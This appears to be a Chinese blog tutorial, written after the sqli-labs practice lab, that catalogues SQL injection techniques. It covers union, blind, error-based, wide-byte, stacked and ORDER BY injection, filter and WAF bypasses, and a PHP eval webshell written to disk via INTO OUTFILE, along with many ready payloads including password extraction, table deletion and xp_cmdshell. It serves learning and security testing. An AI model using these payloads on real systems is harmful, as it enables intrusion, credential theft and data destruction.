sql注入详解 一文了解sql注入所有常见方法
前言
刷完了sqli-labs
对sql注入有了些许认识
在此做个小结与记录
1、什么是sql注入
sql,Structured Query Language,叫做结构化查询语言,管理数据库时用到的一种语言
常见的结构化数据库有 MySQL,MS SQL ,Oracle 以及 Postgresql
SQLI,sql injection,我们称之为 sql 注入
即把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令
具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力
2、sql注入原理
当出现以下条件时,有sql注入的可能:
- 程序编写者在处理程序和数据库交互时,使用了字符串拼接的方式构造SQL语句
- 不安全的数据库配置,比如对查询集不合理处理,对sql查询语句错误时不当的处理,导致其错误信息暴露在前端
- 过于信任用户在前端所输入的数值,没有对输入的数据进行过滤(过滤输入),也没有对发送到数据库的数据进行转义(转义输出)
一个简单的例子
前端URL:.php?id=1
其后台sql语句:$sql="SELECT 123 FROM abc WHERE id='1'"
- 这条语句是采用拼接方式去对数据库内容进行查询的
- 未对用户在前端输入的内容做过滤
- 用户对id这个参数可控
于是攻击者上传?id=-1' union select password from admin--+
后台语句就变成了$sql="SELECT 123 FROM abc WHERE id='-1' union select password from admin--+"
用一个'
闭合了前面的语句,用--+
注释后面的内容,使得第二句union查询的语句得到执行,获取admin的密码
这就是sql注入的方法
3、必备知识
一些sql语句知识
(1)sql语句对大小写不敏感
也导致了后台程序对大小写的检测失效
(2)SQL 注释语句
--
:表示单行注释,在mysql中也用#
注释/*…*/
:用于多行(块)注释
(3)SELECT 查询语句
基础的查询方法
如
SELECT 列名称 FROM 表名称;
(4)UNION 操作符
用于合并两个或多个 SELECT 语句的结果集
- Union前后的两个SQL语句的选择列数必须相同才可以
- 如果第一个Sql查询语句为错误的话,那么它会将第二个SQL语句的查询结果作为最后的输出,所以前面id输入一个非正确值,如-1
如
SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2;
(5)concat()
用于将两个字符串连接为一个字符串
语法及使用特点:
CONCAT(str1,str2,…)
- 返回结果为连接参数产生的字符串
- 如有任何一个参数为NULL ,则返回值为 NULL
- 可以有一个或多个参数
使用示例:
SELECT CONCAT(id, ',', name) AS con FROM info LIMIT 1;
(6)concat_ws()
语法
CONCAT_WS(separator,str1,str2,…)
CONCAT_WS() 代表 CONCAT With Separator ,是CONCAT()的特殊形式
- 第一个参数是其它参数的分隔符,分隔符的位置放在要连接的两个字符串之间
- 分隔符可以是一个字符串,也可以是其它参数
- 如果分隔符为 NULL,则结果为 NULL
- 函数会忽略任何分隔符参数后的 NULL 值
- 但是CONCAT_WS()不会忽略任何空字符串
如
SELECT CONCAT_WS('_',id,name) AS con_ws FROM info LIMIT 1;
(7)group_concat()
返回一个字符串结果,该结果由分组中的值连接组合而成
使用语法及特点:
GROUP_CONCAT([DISTINCT] expr [,expr ...]
[ORDER BY {unsigned_integer | col_name | formula} [ASC | DESC] [,col ...]]
[SEPARATOR str_val])
- 在 MySQL 中,可以得到表达式结合体的连结值
- 通过使用 DISTINCT 可以排除重复值
- 如果希望对结果中的值进行排序,可以使用 ORDER BY 子句。
- SEPARATOR 是一个字符串值,它被用于插入到结果值中
- 缺省为一个逗号 (","),可以通过指定 SEPARATOR “” 完全地移除这个分隔符
- 可以通过变量 group_concat_max_len 设置一个最大的长度
- 在运行时执行的句法如下:
SET [SESSION | GLOBAL] group_concat_max_len = unsigned_integer;
- 如果最大长度被设置,结果值被剪切到这个最大长度
- 如果分组的字符过长,可以对系统参数进行设置:
SET @@global.group_concat_max_len=40000;
如
SELECT locus,GROUP_CONCAT(id) FROM info WHERE locus IN('AB086827','AF040764') GROUP BY locus;
(8)order by
用于根据指定的列对结果集进行排序
- 默认按照升序对记录进行排序
- 如果要按照降序对记录进行排序,可以使用 DESC 关键字
如
SELECT Company, OrderNumber FROM Orders ORDER BY Company (DESC);
(9)group by
用于结合合计函数,根据一个或多个列对结果集进行分组
语法
SELECT column_name, aggregate_function(column_name)
FROM table_name
WHERE column_name operator value
GROUP BY column_name
(10)extractvalue() 和 updatexml()
对XML文档进行查询和修改的函数
EXTRACTVALUE(XML_document, XPath_string);
UPDATEXML(XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称;
第二个参数:XPath_string (Xpath格式的字符串) ,
第三个参数:new_value,String格式,替换查找到的符合条件的数据
如
SELECT * FROM message WHERE id = 1 and updatexml(1, (concat(0x7c, (SELECT @@version))), 1);
(11)if()
语法
IF(expr1,expr2,expr3)
其中,expr1是判断条件,expr2和expr3是符合expr1的自定义的返回结果。
如
select
if(il.status_id = 'INV_STTS_AVAILABLE','全新','二手') as status_id
from inventory_location as il;
(12)sleep()
执行select sleep(N)
可以让此语句运行N秒钟
(13)left()
语法
LEFT(str,len)
返回最左边的n个字符的字符串str,或NULL如果任何参数是NULL。
如
SELECT LEFT('foobarbar', 5);
(14)count()
COUNT(column_name)返回指定列的值的数目(NULL 不计入)
SELECT COUNT(column_name) FROM table_name
COUNT(*) 函数返回表中的记录数:
SELECT COUNT(*) FROM table_name
COUNT(DISTINCT column_name) 函数返回指定列的不同值的数目:
SELECT COUNT(DISTINCT column_name) FROM table_name
注:COUNT(DISTINCT) 适用于 ORACLE 和 Microsoft SQL Server,但是无法用于 Microsoft Access。
(15)floor()
返回最大整数,使这个整数小于或等于指定数的数值运算
(16)round()
四舍五入一个正数或者负数,结果为一定长度的值
(17)rand()
用于产生 0 至 1 之间的随机数
(18)length()
返回字符串的长度,以字节为单位
(19)extract()
用于返回日期/时间的单独部分,比如年、月、日、小时、分钟等等
EXTRACT(unit FROM date)
4、检测方法
首先是判断能不能进行sql注入
是哪种sql注入
(1)数字型
?id=1 and 1=1 返回成功
?id=1 and 1=2 返回失败
这说明是数字型注入,或者叫整型注入
此时后台是
select * from <表名> where id = x and 1=1
select * from <表名> where id = x and 1=2
显然一个判断为真,一个判断为假
(2)字符型
比如后台是
$sql="SELECT * FROM users WHERE id='1' LIMIT 0,1";
那类比整型注入
?id=1' and '1'='1 返回成功
?id=1' and '1'='2 返回失败
还有更简单点的
?id=1' 报错
?id=1' --+ 正常
当然这里除了'
还有可能是"
、')
、")
等
(3)搜索型
- 搜索
'
,如果出错,说明90%存在这个漏洞 - 搜索
%
,如果正常返回,说明95%有洞了 - 搜索一个关键字,比如
test
,正常返回所有test相关的信息 - 再搜索
test%'and 1=1 and '%'='
和test%'and 1=2 and '%'='
(4)万能密码
用户密码登录时
在用户或密码栏尝试如下
1' or '1'='1
' or 1=1 or '
' or 1=1 --
1' or '1'='1' or '1'='1
类似这样的语句
(5)注意事项
- 如果应用程序已经过滤了
'
和+
等特殊字符,可以在输入时把字符转换成URL编码(即字符ASCII码的16进制)来绕过检查 - 不同sql服务器语法不同,如mysql用
+
连接字符串,Oracle使用||
5、基本流程
以字符型注入为例
整型类比着来就是了
现在假设我们通过测试
知道是单引号字符型注入
先用order by猜列数
?id=1' order by 3 --+ 正常
?id=1' order by 4 --+ 报错
这就说明共3列
然后用union查询看哪个列会返显
?id=-1'union select 1,2,3--+
比如返回了数字2
说明第2列会返显
那就可以继续了
爆数据库
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+
爆数据表
?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
爆列
?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name=table_name--+
爆数据
?id=-1' union select 1,group_concat(username),group_concat(password) from users--+
这就是个最基本的sql注入流程
6、盲注
上面的基本流程是显错的
即报错会返显
但大部分时候是没有这么好的事儿的
需要利用一些方法进行判断或者尝试
这就是盲注了
主要有
- 基于布尔sql盲注
- 基于时间的sql盲注
- 基于报错的sql盲注
布尔盲注和延时盲注最好用sqlmap或脚本
手工注入工作量太大了
(1)布尔盲注
布尔型注入中,正确会回显,错误没有回显
用以下的函数进行注入和猜测
- left(string, n)
得到字符串左部指定个数的字符
string为要截取的字符串,n为长度
admin' and left((要注入的语句),1)='xxx’#
admin' and left((select database() limit 0,1),1)='s'#
- substr(string, start, length)
截取字符串,mid()函数用法一样
string为要截取的字符串,start为开始位置,length为截取的长度
substr(DATABASE(),1,1)>'a' 查看数据库名第一位
substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>'a'
- ascii()
将某个字符转换为ASCII码的值,常配合截取函数使用
ascii(substr((语句),1,))=xxx //二进制
admin' and ascii(substr((要注入的语句),0,1))=102#
admin' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101#
- ord()
同 ascii(),将字符转为 ascii 值
ord(mid((语句),1,1))=xxx // 十六进制
admin' and ord(mid((select username from security.users limit 0,1),1,1))=68#
admin' and ord(mid((select password from security.users limit 0,1),1,1))=68#
- regexp
正则注入函数
xxxx regexp '\^us[a-z]'
admin' and ((要注入的语句) regexp '\^se' limit 0,1)#
admin' and (select database() regexp '\^se' limit 0,1)#
(2)延时盲注
时间延迟注入,正确会延迟,错误没有延迟
也是用以下函数进行注入和猜测
- sleep() 函数
?id=1' and sleep(5)--+
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1)#
?id=1' union select (if(substring(database(),1,1)=char(115),sleep(5),1)),2,3#
?id=1' and if(ascii(substr((要执行的语句),1,1))=115,sleep(5),1)#
?id=1' union select (if(substring((要执行的语句),1,1)=char(115),sleep(5),1)),2,3#
- benchmark(count,expr)函数
count为次数,expr为要执行的表达式
可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执行成功
?id=1' and (select 1 from (select concat((ascii(substr((要执行的语句),1,1))=115),benchmark(50000000,encode('msg','key')))x from information_schema.tables group by x)a)#
?id=1' and if(ascii(substr((要执行的语句),1,1))=115,benchmark(50000000,encode('msg','key')),1)#
?id=1' union select (if(substring((要执行的语句),1,1)=char(115),benchmark(50000000,encode('msg','key')),1)),2,3#
?id=1' and (select 1 from (select concat((ascii(substr((database()),1,1))=115),benchmark(50000000,encode('msg','key')))x from information_schema.tables group by x)a)#
?id=1' and (select 1 from (select concat((select username from security.users limit 0,1),benchmark(50000000,encode('msg','key')))x from information_schema.tables group by x)a)#
?id=1' and if(ascii(substr(benchmark(50000000,encode('msg','key')),1,1))=115,sleep(5),1)#
?id=1' union select (if(substring((select database() limit 0,1),1,1)=char(115),benchmark(50000000,encode('msg','key')),1)),2,3#
当结果正确的时候,运行encode(‘msg’,’key’)操作50000000 次,会占用一段时间
benchmark()函数,可以测试某些特定操作的执行速度
该函数只是简单地返回服务器执行表达式的时间,而不会涉及分析和优化的开销。
- heavy query 笛卡尔积
具体的方式就是将简单的表查询不断的叠加,使之以指数倍运算量的速度增长,不断增加系统执行 sql 语句的负荷,直到产生攻击者想要的时间延迟 - get_lock GET_LOCK
有两个参数,一个是key,表示要加锁的字段,另一个是加锁失败后的等待时间(s),一个客户端对某个字段加锁以后另一个客户端再想对这个字段加锁就会失败,然后就会等待设定好的时间
select * from ctf where flag = 1 and 1 and get_lock('username',5);
select * from ctf where flag = 1 and 0 and get_lock('username',5);
- 还有一些奇技淫巧
类似benchmark,边信道攻击,占用大量的运算和时间
(3)报错盲注
- 利用 floor(rand(x)*2) 的执行bug进行报错注入
取得 0 or 1,进行数据的重复
concat 计数
group by 进行分组
需要将 rand(0),rand()需要多试几次
?id=1' union select 1,count(*),concat((你希望的查询语句),floor(rand(0)*2)) as a from information_schema.columns group by a#
?id=1' and (select 1 from(select count(*),concat((你希望的查询语句),floor(rand(0)*2)) as x from information_schema.tables group by x)a)#
?id=-1' union select count(*),count(*), concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
- 利用 extractvalue() 函数报错注入
mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误
有长度限制,最长32位,mysql 5.0不可用,mysql 5.6可用
?id=1' and extractvalue(1,concat(0x7e,(你希望的查询语句)))#
?id=-1' and extractvalue(1,concat(0x7e,((select * from(select concat((你希望的查询语句))x from information_schema.tables group by x)a))))#
?id=1' and extractvalue(1,concat(0x7e,(database())))#
?id=1' and extractvalue(1,concat(0x7e,((select * from(select concat((select username from security.users limit 0,1))x from information_schema.tables group by x)a))))#
- 利用 updatexml() 函数报错注入
mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误
有长度限制,最长32位
?id=1' and updatexml(1,concat(0x7e,(你希望的查询语句),0x7e),1)#
- 利用 name_const 数据的重复性
低版本可用,mysql 5.0可用,mysql 5.6不可用
mysql 重复特性,报错
?id=1' union select 1,2,3 from (select name_const((你希望的查询语句),1),name_const((你希望的查询语句),1))x #
?id=1' and exists(select * from (select * from(select name_const((你希望的查询语句),0))a join(select name_const((你希望的查询语句),0))b)c)#
- 利用 double 数值类型超出范围进行报错注入
Exp()为以 e 为底的对数函数
版本在 5.5.5 及其以上
?id=1' union select (exp(~(select * from(select user())a))),2,3#
- 利用 bigint 溢出进行报错注入(
~0
是对 0 逐位取反,
MySQL版本在 5.5.5 及其以上
?id=1' union select (!(select * from (select user())x) - ~0),2,3#
下面为句式:
!(select*from(select user())x)-~0
(select(!x-~0)from(select(select user())x)a)
(select!x-~0.from(select(select user())x)a)
select ~0+!(select*from(select user())x)
- 句式组合:
(select * from(select concat((你希望的查询语句))x from information_schema.tables group by x)a)
遇到无法使用 select * from *
查询的时候,可以使用这个万能句式,代替下面的“你希望的查询语句”
?id=1' and (select 1 from(select count(*),concat((你希望的查询语句),floor(rand(0)*2))x from information_schema.tables group by x)a)#
?id=1' and extractvalue(1,concat(0x7e,(你希望的查询语句)))#
?id=1' and updatexml(1,concat(0x7e,(你希望的查询语句),0x7e),1)#
?id=1' and exists(select * from (select * from(select name_const((你希望的查询语句),0))a join(select name_const((你希望的查询语句),0))b)c)#
?id=1' union select 1,2,3 from (select name_const((你希望的查询语句),1),name_const((你希望的查询语句),1))x #
?id=1' union select (exp(~(select * from(select user())a))),2,3#
7、导出文件注入
条件
- 用户权限足够高,尽量具有root权限
- Secure_file_priv不为NULL
secure-file-priv参数
- 用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录
- 当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
- 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
- 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
- Secure_file_priv的修改
- 进入mysql安装目录,找到my.ini 修改里面的secure-file-priv参数为空
- 如果发现没有secure_file_priv这个选项,直接再最后添加一个空的即可
测试
?id=1' and (select count(*) from mysql.user)>0--+
正常回显的话,说明有权限
注入
?id=0' union select version(),user(),database() into outfile "a.txt"--+
一句话木马
?id=-1' union select 1,2,'<?php @eval($_POST["caidao"]);?>' into outfile "caidao.php"--+
8、header注入
就是注入点在http的头部
注入方法如前所述
就是注入点变了
下面这些都有可能
还有就是要注意下可能要base64编码
- Accept
告诉WEB 服务器自己接受什么介质类型,/ 表示任何类型,type/* 表示该类型下的所有子类型,type/sub-type。 - Accept-Charset
浏览器申明自己接收的字符集 - Accept-Encoding
浏览器申明自己接收的编码方法,通常指定压缩方法,是否支持压缩,支持什么压缩方法(gzip,deflate) - Accept-Language
浏览器申明自己接收的语言,语言跟字符集的区别:中文是语言,中文有多种字符集,比如big5,gb2312,gbk 等等 - Accept-Ranges
WEB 服务器表明自己是否接受获取其某个实体的一部分(比如文件的一部分)的请求。bytes:表示接受,none:表示不接受。 - Age
当代理服务器用自己缓存的实体去响应请求时,用该头部表明该实体从产生到现在经过多长时间了 - Authorization
当客户端接收到来自WEB 服务器的WWW-Authenticate 响应时,用该头部来回应自己的身份验证信息给WEB 服务器。 - Cache-Control
请求:no-cache(不要缓存的实体,要求现在从WEB 服务器去取)
max-age:(只接受Age 值小于max-age 值,并且没有过期的对象)
max-stale:(可以接受过去的对象,但是过期时间必须小于max-stale 值)
min-fresh:(接受其新鲜生命期大于其当前Age 跟min-fresh 值之和的缓存对象)
响应:public(可以用Cached 内容回应任何用户)
private(只能用缓存内容回应先前请求该内容的那个用户)
no-cache(可以缓存,但是只有在跟WEB 服务器验证了其有效后,才能返回给客户端)
max-age:(本响应包含的对象的过期时间)
ALL: no-store(不允许缓存) - Connection
请求:close(告诉WEB 服务器或者代理服务器,在完成本次请求的响应后,断开连接,不要等待本次连接的后续请求了)。
keepalive(告诉WEB 服务器或者代理服务器,在完成本次请求的响应后,保持连接,等待本次连接的后续请求)。
响应:close(连接已经关闭)。
keepalive(连接保持着,在等待本次连接的后续请求)。
Keep-Alive:如果浏览器请求保持连接,则该头部表明希望WEB 服务器保持连接多长时间(秒)。例如:Keep-Alive:300 - Content-Encoding
WEB 服务器表明自己使用了什么压缩方法(gzip,deflate)压缩响应中的对象。例如:Content-Encoding:gzip - Content-Language
WEB 服务器告诉浏览器自己响应的对象的语言。 - Content-Length
WEB 服务器告诉浏览器自己响应的对象的长度。例如:Content-Length:26012 - Content-Range
WEB 服务器表明该响应包含的部分对象为整个对象的哪个部分。
例如:Content-Range: bytes 21010-47021/47022 - Content-Type
WEB 服务器告诉浏览器自己响应的对象的类型。
例如:Content-Type:application/xml - ETag
就是一个对象(比如URL)的标志值,就一个对象而言,比如一个 html 文件,如果被修改了,其 Etag 也会别修改,所以 ETag 的作用跟Last-Modified 的作用差不多,主要供WEB 服务器判断一个对象是否改变了。比如前一次请求某个 html 文件时,获得了其 ETag,当这次又请求这个文件时,浏览器就会把先前获得的 ETag 值发送给 WEB 服务器,然后 WEB 服务器会把这个 ETag 跟该文件的当前 ETag 进行对比,然后就知道这个文件有没有改变了。 - Expired
WEB 服务器表明该实体将在什么时候过期,对于过期了的对象,只有在跟WEB 服务器验证了其有效性后,才能用来响应客户请求。是HTTP/1.0 的头部。
例如:Expires:Sat, 23 May 2009 10:02:12 GMT - Host
客户端指定自己想访问的WEB 服务器的域名/IP 地址和端口号。
例如:Host:rss.sina.com.cn - If-Match
如果对象的ETag 没有改变,其实也就意味著对象没有改变,才执行请求的动作。. - If-None-Match
如果对象的ETag 改变了,其实也就意味著对象也改变了,才执行请求的动作。 - If-Modified-Since
如果请求的对象在该头部指定的时间之后修改了,才执行请求的动作( 比如返回对象), 否则返回代码304 ,告诉浏览器该对象没有修改。
例如:If-Modified-Since:Thu, 10 Apr 2008 09:14:42 GMT - If-Unmodified-Since
如果请求的对象在该头部指定的时间之后没修改过,才执行请求的动作(比如返回对象)。 - If-Range
浏览器告诉WEB 服务器,如果我请求的对象没有改变,就把我缺少的部分给我,如果对象改变了,就把整个对象给我。浏览器通过发送请求对象的ETag 或者自己所知道的最后修改时间给WEB 服务器,让其判断对象是否改变了。总是跟Range 头部一起使用。 - Last-Modified
WEB 服务器认为对象的最后修改时间,比如文件的最后修改时间,动态页面的最后产生时间等等。例如:Last-Modified:Tue, 06 May 2008 02:42:43 GMT22、Location:WEB 服务器告诉浏览器,试图访问的对象已经被移到别的位置了,到该头部指定的位置去取。
例如: Location : .gif - Pramga
主要使用Pramga: no-cache,相当于Cache-Control: no-cache。
例如:Pragma:no-cache - Proxy-Authenticate
代理服务器响应浏览器,要求其提供代理身份验证信息。 - Proxy-Authorization
浏览器响应代理服务器的身份验证请求,提供自己的身份信息。 - Range
浏览器(比如Flashget 多线程下载时)告诉WEB 服务器自己想取对象的哪部分。
例如:Range: bytes=1173546- - Referer
浏览器向WEB 服务器表明自己是从哪个网页/URL 获得/点击当前请求中的网址/URL。例如:Referer:/ - Server
WEB 服务器表明自己是什么软件及版本等信息。
例如:Server:Apache/2.0.61(Unix) - User-Agent
浏览器表明自己的身份(是哪种浏览器)。
例如:User-Agent:Mozilla/5.0(Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.14) Gecko/20080404 Firefox/2、0、0、14 - Transfer-Encoding
WEB 服务器表明自己对本响应消息体(不是消息体里面的对象)作了怎样的编码,比如是否分块(chunked)。例如:Transfer-Encoding: chunked - Vary
WEB 服务器用该头部的内容告诉Cache 服务器,在什么条件下才能用本响应所返回的对象响应后续的请求。假如源WEB 服务器在接到第一个请求消息时,其响应消息的头部为:Content- Encoding: gzip; Vary: Content-Encoding 那么Cache 服务器会分析后续请求消息的头部,检查其Accept-Encoding,是否跟先前响应的Vary 头部值一致,即是否使用相同的内容编码方法,这样就可以防止Cache 服务器用自己Cache 里面压缩后的实体响应给不具备解压能力的浏览器。例如:Vary:Accept-Encoding - Via
列出从客户端到OCS 或者相反方向的响应经过了哪些代理服务器,他们用什么协议(和版本)发送的请求。当客户端请求到达第一个代理服务器时,该服务器会在自己发出的请求里面添加Via 头部,并填上自己的相关信息,当下一个代理服务器收到第一个代理服务器的请求时,会在自己发出的请求里面复制前一个代理服务器的请求的Via 头部,并把自己的相关信息加到后面,以此类推,当OCS 收到最后一个代理服务器的请求时,检查Via 头部,就知道该请求所经过的路由。例如:Via:1.0 236.D0707195.sina.com.cn:80(squid/2.6.STABLE13)
9、绕过各种过滤
一些普通的防护措施是过滤
过滤注释和空格
检测
确认过滤了#
http://10.10.10.139/sql/Less-26/?id=%231
确认过滤了or
http://10.10.10.139/sql/Less-26/?id=or1
确认过滤多行注释符
http://10.10.10.139/sql/Less-26/?id=/*1
确认过滤了单行注释
http://localhost/sqli-labs/Less-26/?id=--1
确认过滤了斜杠
http://10.10.10.139/sql/Less-26/?id=/1
确认过滤了反斜杠
http://10.10.10.139/sql/Less-26/?id=\
确认过滤了空格,报错注入才行哦,这个判断
http://10.10.10.139/sql/Less-26/?id=1' ' '
绕过方法:
- 注释可以尝试用
'
闭合后面语句 - 空格:%09 TAB键(水平)、%0a 新建一行、%0c 新的一页、%0d return功能、%0b TAB键(垂直)、%a0 空格
这里要注意,在windows下无法使用一些特殊的字符代替空格,因为apache的解析的问题
?id=-1' union select 1, 2, 3 '
?id=-1'%a0union%a0select%a01,database(),3%26%26'1'='1
过滤or
和and
想办法绕过or
和and
就行:
- 大小写变形: Or,OR,oR
- 双写:oorr,anandd
- 编码:hex,urlencode
- 添加注释: /or/
- 利用符号:&& ,||
过滤union等指令
通常还是大小写和双写或编码绕过
10、绕过waf
这个简单提一嘴
通常是给个值欺骗waf
如这么个双服务器
- tomcat为引擎的jsp型服务器
- apache为引擎的php服务器,提供web服务
输入给两个值
- 一个是欺骗tomcat的
- 一个是注入到apache的
?id=1&id=-1' union select 1,2,database() --+
11、宽字节注入
字符集
字符集也叫字符编码,是一种将符号转换为二进制数的映射关系
几种常见的字符集:
- ASCII编码:单字节编码
- latin1编码:单字节编码
- gbk编码:使用一字节和双字节编码,0x00-0x7F范围内是一位,和 ASCII 保持一致。双字节的第一字节范围是0x81-0xFE
- UTF-8编码:使用一至四字节编码,0x00–0x7F范围内是一位,和 ASCII 保持一致。其它字符用二至四个字节变长表示
宽字节就是两个以上的字节,宽字节注入产生的原因就是各种字符编码的不当操作,使得攻击者可以通过宽字节编码绕过SQL注入防御
通常来说,一个gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节。在php中,我们可以通过输出echo strlen("和");
来测试,当将页面编码保存为gbk时输出2,utf-8时输出3
除了gbk以外,所有ANSI编码都是2个字节
ansi只是一个标准,在不同的电脑上它代表的编码可能不相同,比如简体中文系统中ANSI就代表是GBK
概述
宽字节注入主要是源于程序员设置数据库编码与PHP编码设置为不同的两个编码那么就有可能产生宽字节注入
数据提交到MySQL数据库,需要进行字符集的转换,使得MySQL数据库可以对数据进行处理,这一过程一般有以下三个步骤:
- 收到请求,将请求数据从 character_set_client ->character_set_connection。
- 内部操作,将数据从character_set_connection-> 表创建的字符集。
- 结果输出,将数据从表创建的字符集 -> character_set_results。
例:当执行set names “charset”,相当于执行
set character_set_client = charset
set character_set_connection = charset
set character_set_results = charset
宽字符是指两个字节宽度的编码技术,如UNICODE、GBK、BIG5等
当MYSQL数据库数据在处理和存储过程中,涉及到的字符集相关信息包括:
- character_set_client:客户端发送过来的SQL语句编码,也就是PHP发送的SQL查询语句编码字符集
- character_set_connection:MySQL服务器接收客户端SQL查询语句后,在实施真正查询之前SQL查询语句编码字符集
- character_set_database:数据库缺省编码字符集
- character_set_filesystem:文件系统编码字符集
- character_set_results:SQL语句执行结果编码字符集
- character_set_server:服务器缺省编码字符集
- character_set_system:系统缺省编码字符集
- character_sets_dir:字符集存放目录,一般不要修改
宽字节对转义字符的影响发生在character_set_client=gbk的情况
也就是说,如果客户端发送的数据字符集是gbk,则可能会吃掉转义字符\
,从而导致转义失败
例如说PHP的编码为 UTF-8, 而 MySql的编码设置为了SET NAMES 'gbk'
或是 SET character_set_client =gbk
,这样配置会引发编码转换从而导致的注入漏洞
注入原理
mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c
就是一个汉字(前一个 ascii 码大于 128 才能到汉字的范围)
我们在过滤 '
的时候,往往利用的思路是将'
转换为\'
PHP 自带一些转义特殊字符的函数,如addslashes(),mysql_real_escape_string(),mysql_escape_string()等,这些函数可用来防止 SQL 注入:
- addslashes() 函数:返回在预定义字符之前添加反斜杠的字符串,预定义字符——单引号(’)、双引号(")、反斜杠(\)、NULL
- tripslashes()函数:删除由 addslashes() 函数添加的反斜杠
- mysql_real_escape_string()函数:转义SQL 语句中使用的字符串中的特殊字符——
\x00
、\n
、\r
、\
、'
、"
、\x1a
如id=1' or '1'='1
,单引号本用来闭合语句,这些函数会自动转义这些闭合的单引号,在这些单引号前面加上转义符\
,变为1\' or \'1\'=\'1
,如此在 SQL 查询中是一个普通的字符串,不能进行注入
因此我们在此想办法将'
前面添加的\
去掉,一般有两种思路:
%bb
吃掉\
若在 PHP 中使用mysql_query("set names gbk")
将默认字符集设为GBK,而使用addslashes()转义用户输入,这时如果用户输入%bb%27
,则addslashes()会在%27
前面加上一个%5c
字符,即转义字符\
而 MySQL 在使用GBK编码时,会认为两个字符为一个汉字,%bb%5c
是一个宽字符(前一个 ASCII 码大于 128 才能到汉字的范围),也就是籠
,也就是说%bb%5c%27=籠'
,这样单引号就未被转义能闭合语句,从而产生 SQL 注入
%bb
并不是唯一一个可以产生宽字节注入的字符,理论上%81-%FE
均可- 过滤
\'
中的\
构造%bb%5c%5c%27
,addslashes()会在两个%5c
间和%27
前都加上\
即%5c
,变为%bb%5c%5c%5c%5c%5c%27
,但宽字符集认为%bb%5c
是一个字符即籠
,则变为%bb%5c %5c%5c %5c%5c %27
即籠\\\\'
,四个\
正好转义为两个\
,即'
未被转义
防御措施
先调用mysql_set_charset函数设置连接所使用的字符集为gbk
再调用mysql_real_escape_string函数来过滤用户输入
先编码也意味着反斜杠即%5c
不会出现,到下一步的转义引号才出现
这就造成了编码过后转义引号的反斜杠即字符%5c
不会和字符%bb
变成一个宽字符,阻止了%bb
和 %5c
的拼接,于是防宽字符注入成功
12、堆叠注入
堆叠注入(Stacked injections)
从名词的含义就可以看到是一堆 sql 语句(多条)一起执行
原理
在 SQL 中,分号 ;
是用来表示一条 sql 语句的结束
在 ;
结束一个 sql语句后继续构造下一条语句,会不会一起执行?这就是堆叠注入
与union injection (联合注入)的区别: union或者 union all 执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句
例如以下这个例子:
用户输入:
1; DELETE FROM products
服务器端生成的 sql 语句为:(因未对输入的参数进行过滤)
Select * from products where productid=1;DELETE FROM products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
局限性
主要是以下几个问题:
-
堆叠注入并不是每一个环境下都可以执行
可能受到 API 或者数据库引擎不支持的限制
权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。 -
在我们的 web 系统中,因为代码通常只返回一个查询结果,因此堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。因此,在读取数据时,我们建议使用 union(联合)注入
-
同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息
各个数据库实例介绍
1、Mysql 数据库
新建一个表
select * from users where id=1;create table test like users;
show tables;
删除上面新建的 test 表
select * from users where id=1;drop table test;
show tables;
查询数据
select * from users where id=1;select 1,2,3;
加载文件
select * from users where id=1;select load_file('c:/tmpupbbn.php');
修改数据
select * from users where id=1;insert into users(id,username,password) values('100','new','new');
select * from users;
2、sql server
增加数据表
select * from test;create table sc3(ss CHAR(8));
删除数据表
select * from test;drop table sc3;
查询数据
select 1,2,3;select * from test;
修改数据
select * from test;update test set name='test' where id=3;
sqlserver 中最为重要的存储过程的执行
select * from test where id=1;exec master..xp_cmdshell 'ipconfig'
3、Oracle 数据库
上面的介绍中我们已经提及, oracle 不能使用堆叠注入
4、Postgresql 数据库
新建一个表
select * from user_test;create table user_data(id DATE);
select * from user_data;
删除上面新建的user_data 表
select * from user_test;delete from user_data;
查询数据
select * from user_test;select 1,2,3;
修改数据
select * from user_test;update user_test set name='modify' where name='张三';
select * from user_data;
13、order by后的注入
测试
?sort=1 desc--+
?sort=1 asc--+
显示结果不同,说明可以注入
- desc是 descend 降序意思
- asc 是 ascend 升序意思
可利用 order by 后的一些参数进行注入
也就是构造order by 后的一个语句,让该语句执行结果为一个数
我们尝试
?sort=right(version(),1)--+
?sort=left(version(),1)--+
没有报错,说明数字没有起作用
考虑布尔类型、报错注入和延时注入
可以直接构造 ?sort=
后面的一个参数。此时,我们可以有三种形式:
- 直接添加注入语句,
?sort=(select ***)
- 利用一些函数。例如 rand()函数等,
?sort=rand(sql 语句)
- 利用 and,例如
?sort=1 and (加 sql 语句)
报错型注入
?sort=(select(要注入的语句))--+
?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select group_concat(database()) limit 0,1),0x3a,0x3a,floor(rand()*2)))--+
布尔型注入
?sort=rand(要注入的语句)--+
?sort=rand(ascii(left(database(),1))=115)--+
?sort=rand(true)--+
